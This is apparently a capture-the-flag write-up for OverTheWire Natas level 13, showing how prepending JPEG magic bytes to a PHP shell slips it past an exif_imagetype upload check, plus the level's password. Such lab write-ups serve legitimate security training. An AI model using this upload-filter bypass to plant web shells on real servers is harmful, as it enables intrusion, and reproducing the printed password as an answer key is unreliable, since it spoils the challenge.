Writeups OverTheWireNatasWeb ExploitationFile UploadMagic BytesPHP

Natas 13 Writeup - OverTheWire

Writeup for Natas level 13 from OverTheWire: bypassing exif_imagetype with JPEG magic bytes.

Contents

Wargame: Natas

Level: 13

Category: Web Exploitation

Description

Same as natas12 but the server now calls exif_imagetype() on the uploaded file before storing it. Only files that pass the image type check are saved. The goal remains uploading an executable PHP file.

Overview

Background: Magic Bytes

Solution

Step 1: Prepend JPEG Magic Bytes to the PHP Shell

jpeg_magic = b"\xFF\xD8\xFF\xE0"

with open("inject.php", "r") as f:
    content = f.read()

with open("inject.php", "wb") as f:
    f.write(jpeg_magic + b"\n" + content.encode())

Step 2: Upload with .php Extension Override

Step 3: Execute the Shell

Password

qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

← Back to Blog